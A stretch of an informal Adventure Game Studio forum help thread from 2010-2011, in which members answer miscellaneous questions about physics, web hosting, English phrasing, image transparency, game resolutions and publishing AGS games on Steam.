* How would it sound? I believe there is no sound where is no friction, and everything around us makes noise, even though we don't hear even fragment of it... But atoms are all about friction and impacts... imaging you "zoom" so close, would there be hell of a "noise" with billions of impacts happening every second? Or is there some physics law that kills sound at some point?
Well, sound is movement of air, right... Would wind blowing against brick wall cause enough force to actually make airwaves?

...again, it doesn't matter at all who or what observer is. Might aswell be a super microscope & microphone from year 3605 AD. No humanly limits!
Title: Re: Ask something - We can help.
Post by: Ali on Wed 15/12/2010 21:11:52
Quote from: InCreator on Wed 15/12/2010 21:01:53
Since same question was horribly derailed with irrelevant notions last time, but I'm still wondering, I ask again:

setting:

let's assume that you're... God. Or Neo, and world is fully implemented Matrix... or whatever.
Anyway, it is important that you see everything, you hear everything.
And you can "zoom in" to any scale in the universe. For example, to flea level and see flea in "full size" and hear every sound it makes, etc.

Well, and you can zoom in to atomic level. See atoms close up, how they act etc.

case:

A brick wall stands in the wind. You zoom in to atomic level. You can actually see air molecules impact with the ones of materials bricks are made.

questions:

* How would it look? Would it be equivalent to sky raining asteroids, with "explosions" everywhere, some of the air molecules binding with ones of whatever-brick-clay-consists-of, atoms flying apart from impact, etc?

Logic - slight wind for us is a hurricane to an ant. How about an atom?

* Would you see surface of brick decaying endlessy all the time and simply the super minor scale of this happening causes bricks to last... seemingly forever for us? Or are things much more stable even in so microscopic world?

* How would it sound? I believe there is no sound where is no friction, and everything around us makes noise, even though we don't hear even fragment of it... But atoms are all about friction and impacts... imaging you "zoom" so close, would there be hell of a "noise" with billions of impacts happening every second? Or is there some physics law that kills sound at some point?
Well, sound is movement of air, right... Would wind blowing against brick wall cause enough force to actually make airwaves?

I could wait for a physicist answer that but I'll have a go in the mean time.

The concept of looking and hearing are not relevant at the atomic level. I don't think light beams are small enough to look at atoms, and although we use electron microscopes to look at very small objects, atoms are very much smaller still. Sounds are made when vibrations travel through the air, and there is no medium for 'atomic sounds' to move through.

The depictions of atoms we're used to are visual representations which help us to understand them. I believe they are mostly made of nothing, a bit like the solar system.
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Wed 15/12/2010 21:29:17
Youre making the mistake of assuming that the macroscopic and the atomic levels are similar in behaviour. They simply arent.

You couldnt really see what was happening. To see something you need a photon to bounce off it. If a photon bounces off a particle then the particle isnt there anymore. Your photon sent it flying somewhere else.

Secondly it's impossible to accurate place an atomic particle like that. They arent really little balls. They are waves of probability. A wave function.

Indeed, particles can be one side of a particle and the other side of it *at the same time*.

And the sound thing is even more impossible since sound requires a medium to move through and that medium is the very atoms we are talking about.

if you're interested in physics like this but just want it in layman's terms I recommend the sixty symbols youtube videos which come from my home town ^_^ (Nottingham University to be specific)

www.youtube.com/sixtysymbols


They are all awesome but for instance:

http://www.youtube.com/watch?v=KRRnMS1sm6Y
http://www.youtube.com/watch?v=afgc3SeZnV8&feature=related
http://www.youtube.com/watch?v=vr0HiIed-8Q&feature=related

Title: Re: Ask something - We can help.
Post by: Gabriel_Down on Wed 15/12/2010 21:56:42
And you thought pixel hunting was a drag
Title: Re: Ask something - We can help.
Post by: on Wed 22/12/2010 17:56:17
So I'm looking for

cheap site hosting, with ASP.

I'd say godaddy but who knows, maybe you know some people who know some people who are even cheaper.
Title: Re: Ask something - We can help.
Post by: TerranRich on Thu 23/12/2010 22:12:09
Quote from: bicilotti on Wed 22/12/2010 17:56:17
So I'm looking for

cheap site hosting, with ASP.

I'd say godaddy but who knows, maybe you know some people who know some people who are even cheaper.

I use HostGator and I highly recommend them. Their plans are incredibly cheap, but offer good features on hosting.
Title: Re: Ask something - We can help.
Post by: Peder 🚀 on Fri 31/12/2010 19:32:36
http://host.exemplum.com/hasbro/gloworld/firefly-mobile/firefly-mobile.html
What is song number 2 on --> Music Box --> Classical (gotta listen to the first one untill the second starts..)
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Mon 03/01/2011 09:44:00
Since I can ask anything, I'll ask something.

There's something I can never remember how to say in English : How do you call those government estates that are supposed to have a lower rent. Put bluntly: How do you call the State-owned buildings where "poorer people" live?

I believe it's "something project" or "something yard" ?
Title: Re: Ask something - We can help.
Post by: Al_Ninio on Mon 03/01/2011 09:50:00
http://en.wikipedia.org/wiki/Public_housing
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Mon 03/01/2011 10:46:50
Alright, so here is a translation I wrote :

Could any native English speaker (but sonicrumpets (http://www.adventuregamestudio.co.uk/yabb/index.php?topic=42379.msg562369#msg562369)  ;)) tell me if there are some grammar mistakes, things that don't make sense, or misspellings?

=====================


Adult and teenage girls :
Perspectives on sexuality in grammar school

This research offers an analysis on sex education and how it’s implemented in a school environment. It will be lead in grammar schools, from the interviews of teenage girls and adult education workers (teachers, social workers, school nurses, etc.). We’ll focus on how sex education laws are interpreted locally. We’ll study the forms of teenage girls’ sexual expression in a context where there is the influence of tradition and religion, relations between genres, suburbs culture and social housing culture.
Studying the perception of sex education by teenage girls and the teaching methods of professionals will allow having a grasp of the peculiar stakes on prevention around that topic, still subject to taboos. It will help finding out the influences of perspectives both from professionals and young girls on potential pregnancy choices.
We will offer elements to put the study in context, using a psychosociological approach: normative injunctions on procreation, representations of parenthood, perception of children’s’ status in families, and, more generally, in society. The goal is to understand how each young girl and each professional construct and interiorize their own personal image of the “paradigmatic” mother and father.
This work of research, taking in account the evolution of the legal context, should allow evaluating the answers and the adaptation capabilities of teaching institutions regarding contraception, pregnancy, and maternity amongst teenage girls.
Title: Re: Ask something - We can help.
Post by: Babar on Mon 03/01/2011 11:19:23
The article didn't have any misspellings, and the only instance of incorrect grammar I found was use of "children's'" (children is already plural), and the only thing I found personally to not make sense is the use of the word 'genres'. However, it did have (what I would consider) to be somewhat clunky english in parts, and I maybe would've arranged some things a bit differently. It was easier for me to have a go at it rather than explaining everything that sounded odd. So here is how I would've done it, keeping in mind that I'm not an expert in psycho-socialogical research into sex education and it's related technical terms :D, but rather have some (hopefully helpful) information on how to make your passage more readable. Hopefully it'll be of some use to you:

This research offers an analysis on sex education and how it is implemented in a school environment. It will be focused on grammar schools, mainly derived from the interviews of teenage girls and adult education workers (teachers, social workers, school nurses, etc.). We’ll focus on how sex education laws are interpreted locally, as well as study the forms of sexual expression in teenage girls in a context where there is the influence of tradition and religion, relations between genres[what do you mean by genre?], suburbs culture and social housing culture.
Studying the perception of sex education by teenage girls and the teaching methods of professionals will allow us to have a grasp of the peculiar stakes on prevention around that topic, still subject to taboos[I'm not sure how to fix this bit..I tried a bit, but perhaps using 'us' here is not how you want your article to go]. It will help in finding out the influences of perspectives on potential pregnancy choices both from professionals and young girls.
We will offer elements to put the study in context, using a psycho-sociological approach: normative injunctions on procreation, representations of parenthood, perception of children's status in families, and, more generally, in society. The goal is to understand how each young girl and each professional construct and interiorize their own personal image of the “paradigmatic” mother and father.
This work of research, taking in account the evolution of the legal context, should allow evaluating the answers[perhaps 'solutions' or maybe 'procedures' or 'methodologies' might be a more appropriate word here, considering that "contraception, pregnancy, and maternity amongst teenage girls" aren't technically questions] and the adaptation capabilities of teaching institutions regarding contraception, pregnancy, and maternity amongst teenage girls.
Title: Re: Ask something - We can help.
Post by: Anian on Mon 03/01/2011 11:53:38
- this part: expression in the context of tradition and religion, relations (maybe interactions, relationships, differences) between genders, suburban culture - I think "in context of" already applies that it has influence
- instead of genres, I think you meant genders
- last paragraph - taking into account

And the parts that Babar mentioned.
Not a native speaker but you're not as well, so :P
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Mon 03/01/2011 12:02:13
@Babar, @Anian : Yes, I confused "genres" and "genders"!! How silly of me. It's the same word for both in French.
@Anian : Can I trust you when yourself confuse "to apply" and "to imply"? ;) Just kidding.
Title: Re: Ask something - We can help.
Post by: Anian on Mon 03/01/2011 12:20:44
Quote from: Monsieur OUXX on Mon 03/01/2011 12:02:13
@Anian : Can I trust you when yourself confuse "to apply" and "to imply"? ;) Just kidding.
Yes, yes I did and yes you can.  ;D
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Mon 03/01/2011 12:28:51
Alright, thanks again, Babar and Anian.

Here is a second go :

Notes : About the "answers" thing, I wasn't satisfied with "procedures" or "solutions", because what the author is trying to express, is how the government/senate/etc. "answers", or "replies", to changes in the society. It's not so much about the solutions they choose, but more about how quickly they adapt. Do you get me? I'm ready to accept that "answer" is not the right word but I also know that I'll change the meaning of the sentence if I take "solutions" or "procedures".

===============

Adults and teenage girls :
Perspectives on sexuality in grammar school

This research offers an analysis on sex education and how it’s implemented in a school environment. It will be focused on grammar schools, derived from the interviews of teenage girls and adult education workers (teachers, social workers, school nurses, etc.). We’ll deal with the way sex education laws are interpreted locally, as well as study the forms of sexual expression in teenage girls in a context where there is the influence of tradition and religion, interactions between genders, suburbs culture and social housing culture.
Studying the perception of sex education by teenage girls and the teaching methods of professionals should allow having a grasp of the stakes on prevention around that topic, still subject to taboos. It will help in finding out the influences of perspectives on potential pregnancy choices both from professionals and young girls.
We will offer elements to put the study in context, using a psycho-sociological approach: normative injunctions on procreation, representations of parenthood, perception of children status in families, and, more generally, in society. The goal is to understand how each young girl and each professional construct and interiorize their own personal image of the “paradigmatic” mother and father.
This work of research, taking into account the evolution of the legal context, should allow evaluating the answers and the adaptation capabilities of teaching institutions regarding contraception, pregnancy, and maternity amongst teenage girls.
Title: Re: Ask something - We can help.
Post by: Babar on Mon 03/01/2011 12:48:24
Perhaps then 'responses' would be a better word?
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Mon 03/01/2011 12:55:01
Quote from: Babar on Mon 03/01/2011 12:48:24
Perhaps then 'responses' would be a better word?

Yes, that's it.
again, in French, "reply", "answer" and "response" are the same word. I get the difference but the right word doesn't come spontaneously.

Thanks a lot. I think the translation is correct now. I never thought I'd call upon the AGS community for that kind of stuff! (not that I would have to translate such a text!!!)


Title: Re: Ask something - We can help.
Post by: Stupot on Tue 04/01/2011 12:24:40
Sorry if this is moot now, but myself and everyone I know just calls them 'council houses' and 'council estates'.
I grew up in them, haha.
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Tue 04/01/2011 17:04:07
Quote from: Stupot on Tue 04/01/2011 12:24:40
Sorry if this is moot now, but myself and everyone I know just calls them 'council houses' and 'council estates'.
I grew up in them, haha.

Yeah that's it!
I'll correct it. Thanks!
Title: Re: Ask something - We can help.
Post by: theo on Wed 05/01/2011 11:22:57
Can I compile my AGS game into something that can run on a mac?
(not interested in running the game through a virtual machine or anything wackily complicated like that, I want a standalone version of the game that runs on mac.)

I'm guessing this is a no-go since I've seen zero ags games boasting about being mac compatible.
Title: Re: Ask something - We can help.
Post by: Gilbert on Wed 05/01/2011 13:32:39
Yes. There is a mac native engine (http://www.adventuregamestudio.co.uk/yabb/index.php?topic=30021.0) in development. However, it's for a very old version (V2.71), so if you really want to make a game that runs in a mac you need to make it with that version of AGS. Also, pay attention of what features are missing and what glitches there are in that version and have this in mind when developing the game.
Title: Re: Ask something - We can help.
Post by: on Wed 05/01/2011 13:47:10
What's an alpha channel?
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Wed 05/01/2011 14:22:44
Quote from: Saren on Wed 05/01/2011 13:47:10
What's an alpha channel?

In a file containing a picture, the colors are usually stored using 3 informations : the Red, the Green and the Blue. (If that part's not clear for you, just tell me)
The corresponding "channel" is a general way to call all information related either to red, or to green, or to blue. In other words, the Blue channel refers to the overall "Blue" component of the entire picture, or specifically to the Blue component of a single pixel.

The Alpha Channel is a 4th channel meant to store something else, something that's not litterally a color.

It's meant to store the transparency.

Instead of having RGB, you'll have RGBA (A = Alpha).

===========

Simple example :
Suppose you want to display a Red pixel. then the RGB values will be : (100%, 0%, 0%)  (all red, no green, no blue)
Suppose you want to make it opaque : RGBA will be : (100%, 0%, 0%, 100%)
Suppose you want to make it half-transparent : RGBA will be : (100%, 0%, 0%, 50%)
Suppose you want to make it completely transparent (invisible): RGBA will be : (100%, 0%, 0%, 00%)
Title: Re: Ask something - We can help.
Post by: theo on Wed 05/01/2011 21:24:06
Thanks for the quick response Gilbet!

Anyone know if there are any plans on pushing the mac runtime to AGS 3.2 compatibility?
The thread seemed somewhat dead sadly.

Saren: A good thing to know about alpha channels is that there are two common different types of them. There are those traditionally used in oldschool games that are simply transparency on/off. This is what you get in a .gif or a 8 bit .png. More commonly nowadays however is a fancier transparency that uses 256 depths of transparency, thus making it possible to have nice smooth edges on things, instead of jaggedy on/off pixels. 24 bit png's for an instance, use this.
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Thu 06/01/2011 10:35:56
Quote from: theo on Wed 05/01/2011 21:24:06
A good thing to know about alpha channels is that there are two common different types of them.
- There are those traditionally used in oldschool games that are simply transparency on/off. This is what you get in a .gif or a 8 bit .png.
- More commonly nowadays however is a fancier transparency that uses 256 depths of transparency, thus making it possible to have nice smooth edges on things, instead of jaggedy on/off pixels. 24 bit png's for an instance, use this.

+1
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Thu 06/01/2011 10:42:38
Quote from: theo on Wed 05/01/2011 21:24:06
Anyone know if there are any plans on pushing the mac runtime to AGS 3.2 compatibility?
The thread seemed somewhat dead sadly.

If I'm not mistaken, the old MacOS port of AGS 2.7x is from the time when MacOS was MacOS 9, that is a completely different OS from nowadays.
Now that Apple has changed technology and that MacOS X is a UNIX in disguise, you'd actually need someone to continue the Linux port (and extend it to MacOS X support).
Then again, I might be wrong.

I'm pretty sure all that will be made much easier if/when Chris Jones releases the source of the Engine, which seems to be pretty imminent.
Title: Re: Ask something - We can help.
Post by: on Thu 06/01/2011 14:37:36
Thanks Monsieur! I've been wondering what alpha channels are for a long time.
Title: Re: Ask something - We can help.
Post by: on Thu 06/01/2011 16:40:43
Oh and another one: When I import character images into AGS for sprites, how do make sure the white background that I drew them on doesn't appear in the game? I once downloaded some characters in a package just to see what they looked like and they were on pink backgrounds?
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Thu 06/01/2011 16:53:14
Quote from: Saren on Thu 06/01/2011 16:40:43
Oh and another one: When I import character images into AGS for sprites, how do make sure the white background that I drew them on doesn't appear in the game? I once downloaded some characters in a package just to see what they looked like and they were on pink backgrounds?

You'd better post that in the beginners forum.
The transprent color by default in AGS is pink (that is : red=100%, green=0%, blue=100%)
I think you can pick another one at the time you import the picture, there is an option to use the color of the upper-left-hand-corner.
Title: Re: Ask something - We can help.
Post by: LRH on Thu 06/01/2011 16:55:39
Quote from: Saren on Thu 06/01/2011 16:40:43
Oh and another one: When I import character images into AGS for sprites, how do make sure the white background that I drew them on doesn't appear in the game? I once downloaded some characters in a package just to see what they looked like and they were on pink backgrounds?

Well, when you go to import a sprite, you should see a little box asking you to choose a transparency color, usually by choosing a pixel in one of the four corners of the image file. For example, if you draw on a white background and you want white to be the transparent and unseen color, if white is the color of the pixel in the upper right corner, choose upper right corner from the drop down menu.
Title: Re: Ask something - We can help.
Post by: LRH on Thu 06/01/2011 16:57:16
While I'm here I actually have a very strange question. Ultimate Game Solutions is giving my site more traffic than AGS. Not complaining, it's actually kind of cool. But why is that? I've visited the site and I can't seem to find anything on why this could be. It's not like it's featured or anything.
Title: Re: Ask something - We can help.
Post by: on Thu 06/01/2011 17:09:53
Thanks for answering!
Title: Re: Ask something - We can help.
Post by: Stupot on Fri 07/01/2011 04:31:55
Dom, the links in your AGS database entries for Living Nightmare (original) and for Endless Dreams are broken.  Deluxe is fine though.
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Wed 12/01/2011 15:13:28
Anybody knows a good Forums hoster?

The requirements are :
- The forum won't disappear for no reason in 2 years
- It's free
- There aren't "too much" ads
- It's not "too" slow (SourceForge is awafully slow!!!)
- It has all the fancy stuff (BBCodes)

I'd understand if that kind of free service didn't exist around, but considering there are free website hosting, free files uploading, free pictures hosting, etc... I guess there would be free forums.
Title: Re: Ask something - We can help.
Post by: Butcher on Wed 12/01/2011 15:27:29
I have a question as well

When I post a link from my site (www.balderduck.com) on facebook I get to pick a picture from it. The selection includes only secondary pictures and avatars that are in the left and right columns but not the main pic which is the comic

I'm using comicpress, which is a wordpress related software for comic sites

I've looked at a lot of forums and suggestions and none of them seem to work. Has any of you had that problem or have any idea how to fix it?
Title: Re: Ask something - We can help.
Post by: Stupot on Wed 12/01/2011 16:02:00
Monsieur,
I know if you have a Freewebs (http://www.webs.com/) website you can also add a forum to it.
Perhaps you could create a Freewebs account, and even if you don't care about using it to make a website you could just use it to set up a forum and then link to it from your own website.
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Thu 13/01/2011 11:13:40
Quote from: Butcher on Wed 12/01/2011 15:27:29
I have a question as well

When I post a link from my site (www.balderduck.com) on facebook I get to pick a picture from it. The selection includes only secondary pictures and avatars that are in the left and right columns but not the main pic which is the comic

I'm using comicpress, which is a wordpress related software for comic sites

I've looked at a lot of forums and suggestions and none of them seem to work. Has any of you had that problem or have any idea how to fix it?

The image chosen by Facebook to generate the thumbnail depends on  some algorithm they have, and can't be changed. To my knowledge, there is no workaround, but I might be wrong. You can click the option "do not show thumbnail". There won't be a thumbnail, but at least your post won#t be polluted with some random picture.
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Thu 13/01/2011 16:17:11
Quote from: Stupot on Wed 12/01/2011 16:02:00
Monsieur,
I know if you have a Freewebs (http://www.webs.com/) website you can also add a forum to it.
Perhaps you could create a Freewebs account, and even if you don't care about using it to make a website you could just use it to set up a forum and then link to it from your own website.

It turns out Sourceforge have 2 differentForums service, the regular crappy one, and the phpBB one. I've nabled the lattest and it's faster and cooler.

Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Thu 13/01/2011 16:18:17
Has Mr Fibble disappeared?
If I'm not mistaken there used to be an AGS user under the name "MrFibble"? Where has he gone, I can't seem to find any posts by that guy.
Title: Re: Ask something - We can help.
Post by: cat on Thu 13/01/2011 16:20:18
Did you mean MrFlibble? http://www.adventuregamestudio.co.uk/yabb/index.php?action=profile;u=2068 (http://www.adventuregamestudio.co.uk/yabb/index.php?action=profile;u=2068)
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Fri 14/01/2011 10:11:18
Quote from: cat on Thu 13/01/2011 16:20:18
Did you mean MrFlibble? http://www.adventuregamestudio.co.uk/yabb/index.php?action=profile;u=2068 (http://www.adventuregamestudio.co.uk/yabb/index.php?action=profile;u=2068)

Yeah that's him. I misspelled his name.
I also mispelt "misspelled"
I also misspelt "mispelt"

On a totally unrelated note:  I'm glad he changed his avatar, the old one (with the weird guy holding a puppet) was weirding me out. :-)
Title: Re: Ask something - We can help.
Post by: Dualnames on Fri 14/01/2011 10:16:15
Quote from: Monsieur OUXX on Fri 14/01/2011 10:11:18
Quote from: cat on Thu 13/01/2011 16:20:18
Did you mean MrFlibble? http://www.adventuregamestudio.co.uk/yabb/index.php?action=profile;u=2068 (http://www.adventuregamestudio.co.uk/yabb/index.php?action=profile;u=2068)

Yeah that's him. I misspelled his name.
I also mispelt "misspelled"
I also misspelt "mispelt"

On a totally unrelated note:  I'm glad he changed his avatar, the old one (with the weird guy holding a puppet) was weirding me out. :-)

That was the most awesome avatar! Apparently you've never seen RedDwarf. Anyhow, you're acting strangely a lot lately. Posting like a total maniac. I'm fine with posting, and I'm not the one to judge anyone's posting, but I just wanted to say that, cause you didn't use to act that way. Now you seem to be overexcited about something. Just that, don't be angry or anything, you know I like you. Just wanted to say that after seeing your epic triple post :P
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Fri 14/01/2011 13:56:54
Quote from: Dualnames on Fri 14/01/2011 10:16:15
That was the most awesome avatar! Apparently you've never seen RedDwarf.

Well because of him I googled it some time ago. But it doesn't make it less freaky :-)

Quote from: Dualnames on Fri 14/01/2011 10:16:15
you're acting strangely a lot lately. Posting like a total maniac

Just to clarify: My very last post was just to say "Thanks" (because I believe it's not cool to ask for something and then omit to aknowledge the answer that was kindly given).
Also, the reason why I asked what happened to MrFlibble was not just to comment on his Avatar, I had something to tell him.

I must admit, though, that my posting has changed a bit. Since it seems weird to you (and many others, according to the response I've been having lately), then here is a non-exhaustive list of reasons :
- I've been living in Ireland for 3 years and I still can't get used to the English-speaking way of interacting (passive-agressive rather than bursting anger like we Latin poeple do when we disagree). That reflects in my posts, as I've started perceiving it in written interactions (in the past, I had no clue, so I was more happy-go-lucky).
- Sadly, even though I master the English grammar, I still don't master my written tone, therefore I've got this skill to immediately offend everybody about anything on forums. That's depressing, believe me.
- That Gobliins post was indeed out of the blue, I was exhilerated by the tune
- I'm excited by the progress of the Dune Revival project
- I'm frustrated by the total stagnation of the AGSH project, and the fact that it will become completely useless the day the community will start refactoring the Engine if ti becomes open-source (the clock is ticking!)
- I'm bored in my job.

I'm in no way starting a conversation about my private life - But like any sane person, I feel like I have to explain when someone openly tells me "hey, you act like a weirdo". I'm in no way offended, but rather grateful that you tell me.


PS: What triple-post?
Title: Re: Ask something - We can help.
Post by: Dualnames on Fri 14/01/2011 14:11:18
http://www.adventuregamestudio.co.uk/yabb/index.php?topic=36356.msg565235#msg565235

This one, btw I can't believe I've ever had a more satisfying and full answer in my life.  So just for that, cheers.  :D
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Fri 14/01/2011 14:16:33
Quote from: Dualnames on Fri 14/01/2011 14:11:18
http://www.adventuregamestudio.co.uk/yabb/index.php?topic=36356.msg565235#msg565235
This one

Oh, OK.
First one = an answer for some dude
Second one = Thanks for answering my own question
Third one = A new question

I have a tendency to post several times when it's about unrelated things. Moderators have often blamed me for that bad habit. I'm taking some pills to fight it ;)
Title: Re: Ask something - We can help.
Post by: tzachs on Fri 14/01/2011 14:25:25
Monsieur, I actually kind of like it when you sometimes post 'frantically' and sometimes you're relaxed. You're unpredictable, and that makes you an interesting character.
In the same way as Dualnames is also unexpected...

I also liked the Gobliins post, and enjoyed the music, it was nostalgic. I didn't reply because I didn't have anything productive to add to that, it didn't mean that I didn't appreciate your post.
Carry on with the good work!
Title: Re: Ask something - We can help.
Post by: Wyz on Sat 15/01/2011 03:04:31
Quote from: Monsieur OUXX on Fri 14/01/2011 13:56:54
- I'm frustrated by the total stagnation of the AGSH project, and the fact that it will become completely useless the day the community will start refactoring the Engine if ti becomes open-source (the clock is ticking!)

That is actually true, also I was planning on creating a STL implementation for AGS which would also be useless however:
The code will be useless, the ideas will not be, it would just mean you'll get to try them out directly on the engine! Wheeeee!  :D

I don't know if that makes you more, or less excited, it makes me very excited though.
Title: Re: Ask something - We can help.
Post by: Peder 🚀 on Sat 15/01/2011 18:49:18
What song(s) is within this file?
http://www.collectmedia.net/klassisk.mp3

(Classical)
Title: Re: Ask something - We can help.
Post by: theo on Sat 22/01/2011 11:03:00
Is anything stopping me from making a game in AGS and selling it on steam?

If not, is anyone doing this?

If nothing is stopping, and no one is doing it, why is that?

Title: Re: Ask something - We can help.
Post by: ThreeOhFour on Sat 22/01/2011 11:17:51
If I remember correctly, both PuzzleBots and Time Gentlemen Please are both sold on Steam, both being AGS games.

I also seem to recall Dave Gilbert and Grim getting their applications to have the Blackwell games and Downfall respectively declined by Steam, but I very much doubt that has anything to do with the engine, my guess would be it had something to do with content.

There is a section in the manual regarding making commercial games, and the things you should know with regards to licensing, but this isn't directly Steam related.

So, yes, AGS games can be and are being sold on Steam - although they're sometimes a bit picky about who they accept, so this is another reason more people aren't doing so.

Edit: Also, I think Ben There, Dan That! is on Steam as a freebie, if I remember rightly. I don't actually use Steam, but I am quite sure this is the case (feel free to correct me if I am wrong here)
Title: Re: Ask something - We can help.
Post by: OneDollar on Sat 22/01/2011 13:59:15
Quote from: Ben304 on Sat 22/01/2011 11:17:51
Also, I think Ben There, Dan That! is on Steam as a freebie, if I remember rightly.

Ben There, Dan That! and Time, Gentlemen, Please! are sold as a double pack (Ben There, Dan That! being freely downloadable elsewhere). So it's sort of free, but only if you buy Time, Gentlemen, Please!.
Title: Re: Ask something - We can help.
Post by: Igor Hardy on Sat 22/01/2011 14:28:43
Besides TGP Steam also has Puzzle Bots.

I remember reading somewhere that the reason behind the fact so many games are outright rejected is because negotiating with Steam is such a lengthy, complicated (and apparently boring) process that even Steam itself is not keen on it. If you're a small indie, you need to dazzle them with important awards, or past financial successes, to get them invest their time in talking with you.
Title: Re: Ask something - We can help.
Post by: ThreeOhFour on Sat 22/01/2011 14:30:22
I did mention puzzle bots!  8)

But yes, I've also heard that getting a game on Steam can be a pretty tedious process.
Title: Re: Ask something - We can help.
Post by: Igor Hardy on Sat 22/01/2011 14:35:50
Quote from: Ben304 on Sat 22/01/2011 14:30:22
I did mention puzzle bots!  8)

Sorry Ben, my eyes must have been distracted by some passing Airwave.
Title: Re: Ask something - We can help.
Post by: ThreeOhFour on Sat 22/01/2011 14:38:14
*whoosh*  ;)
Title: Re: Ask something - We can help.
Post by: theo on Sat 22/01/2011 22:14:29
Steam does seem random in many ways.  :-\ Anyhow, thanks for your thoughts on this, guys! Confusingly enlightening!  ;D

So another question then: Many players have widescreen monitors, many don't. Is there a common solution to this issue when building AGS games? I'd like to be certain my assets aren't being squashed and stretched at random.
Title: Re: Ask something - We can help.
Post by: Igor Hardy on Sat 22/01/2011 22:23:12
Quote from: theo on Sat 22/01/2011 22:14:29
So another question then: Many players have widescreen monitors, many don't. Is there a common solution to this issue when building AGS games? I'd like to be certain my assets aren't being squashed and stretched at random.

I'm troubled with that fact too - even the modern re-scaling low resolutions to full screen with proper aspect ratio technology sucks - it all goes blurry. :(

I guess, the only solution for not distorting the image without the user being able to temper with the settings is playing in windowed mode.

Speaking of which, I have my own related question... Most people have at least 1280x960 resolution capability in their monitors by now, right? So I can pretty safely spread Snakes with the default setting of windowed, 1280x960?
Title: Re: Ask something - We can help.
Post by: theo on Sat 22/01/2011 23:00:37
I can't even select 1280x960 in the general settings pane of my game. Can you? What am I doing wrong, lol?
I'd like to run my game at 1280x720. A nice resolution in my eyes. I wonder if monitors in general can handle it in full screen...

I think as long as you're going for windowed you're fine. Most people should be able to fit it onto their screen. I think it's a real shame not to run games in full screen though... For me, windowed really ruins the immersion.
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Sat 22/01/2011 23:48:06
AGS supports 2 aspect ratios.

320x240 gives 4:3
320x200 gives 16:10

I recommend (if youre going low res) to go with 320x200 for 2 reasons:

1) alot of people have widescreen monitors with 16:10
2) If they dont letterboxing looks much nicer than pillar boxing.
Title: Re: Ask something - We can help.
Post by: Igor Hardy on Sat 22/01/2011 23:55:20
Quote from: theo on Sat 22/01/2011 23:00:37
I can't even select 1280x960 in the general settings pane of my game. Can you? What am I doing wrong, lol?

You can multiply the resolution of your game by 2, 3, or 4 times in the winsetup file's settings.
Title: Re: Ask something - We can help.
Post by: Anian on Sat 22/01/2011 23:58:11
Well if it was movie, there would be no doubt, but since most games last longer than 90-120 minutes to playthrough, it wouldn't be very good for the monitor to have two black lines linger on after you played the game. (still "pillar boxing" looks better I think) On the other hand, as theo mentioned, windowed playing usually breaks immersion somewhat.
On some level, you might want to think about "the future" and the trend shows more people getting widescreen monitors, so I suggest going with widescreen and so people can play it in a few years as well.

[unimportant part]As tv program, it's silly when tv networks emmit 4:3 picture, when you basically can't buy a 4:3 tv for the past few years. To add to that, they make money from advertisements, so their target is people with money, people with money usually buy a new tv in some intervals...ok, ranting now, but the problem is I think that doesn't relate to pc monitors so much.
Adventure games with old style GUI actually profit from 4:3 since in the end the art is about 16:10 anyway, but GUI is minimizing all the time so the argument in modern games doesn't stand.[/unimportant part]
Title: Re: Ask something - We can help.
Post by: Wyz on Sun 23/01/2011 00:25:20
Different aspect ratios and resolutions is definitely a pain for developers., but I don't see that changing in the future. Well it will get worse since the net books and smart phones tent to have really irregular resolutions. It is particularly difficult for sprite art, since it does not stretch nicely and only scales nicely at regular intervals.
What we could do is detach the viewport from the background, that way we can sort of scroll the background and we do not need to stretch it (but do need to scale it 2x or 3x). AGS currently supports a few predefined resolutions, it would be nice if we could change it to an arbitrary resolution at even nicer if we could do it at run time. That way we could adjust everything in-game to this new resolution. Well, just thoughts... ;D
Title: Re: Ask something - We can help.
Post by: theo on Sun 23/01/2011 00:45:10
calin: yeah. 16:10 is both nice and common. I'm not after low res though. If 16:10 is the rule, I'd prefer it if I could chose 1280*800 as the resolution for my game. 640*400 doesn't really cut it.

ascovel: true, but I'm not after multiplying, I want the original dimensions to change.

anian: agreed. it's a mess!

wyz: I'd love that too. Let's keep on dreaming, lol.
Title: Re: Ask something - We can help.
Post by: Tuomas on Mon 24/01/2011 15:44:15
Time for you guys to help me. It's about OpenOffice, so if you know anything, please read further:


I wrote my bachelor's with OO 3.2.1... It's about 6200 words, so it's basically still a draft but anyway, I was supposed to send it to my teacher so that he could fix some grammatical errors. He though does not have OO on his work computer, so I saved as .docx which has always worked just fine.

But he couldn't edit the text file. He was able to paint over words or overline them, but not erase or add anything. Now that he sent ti back to me asking why it was protected, even I can't modify the text. Now I really would not want to write another 6200 words in German, I'd rather just edit what I already have, especially when the table of contents was such a hell to do with this program.

So anyone have an idea, what's wrong with this thing? I'm supposed to fix the errors and present it on wednesday, so I'm pretty much in a hurry. :(
Title: Re: Ask something - We can help.
Post by: on Tue 01/02/2011 06:04:32
I'm looking for .Net framework 1.1 SDK but all links to M$ seem to be down. Or, will software that requires 1.1 SDK be okay using a newer version? Hmm.
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Tue 01/02/2011 06:07:26
The framework is backwards compatible i think, so you should be ok.
Title: Re: Ask something - We can help.
Post by: Stupot on Tue 01/02/2011 12:39:32
My friend showed me this piece of music:
http://www.youtube.com/watch?v=WSxDjW9bLCQ

I immedately recognized it, but I know know where from.

I did a bit of digging, and found out that it is, or was, considered to be ambient or 'furniture' music, so I've probably heard it in an elevator or homewares store.  However, I'm CERTAIN I've heard it in a film or TV show (if not several), but can't think where.

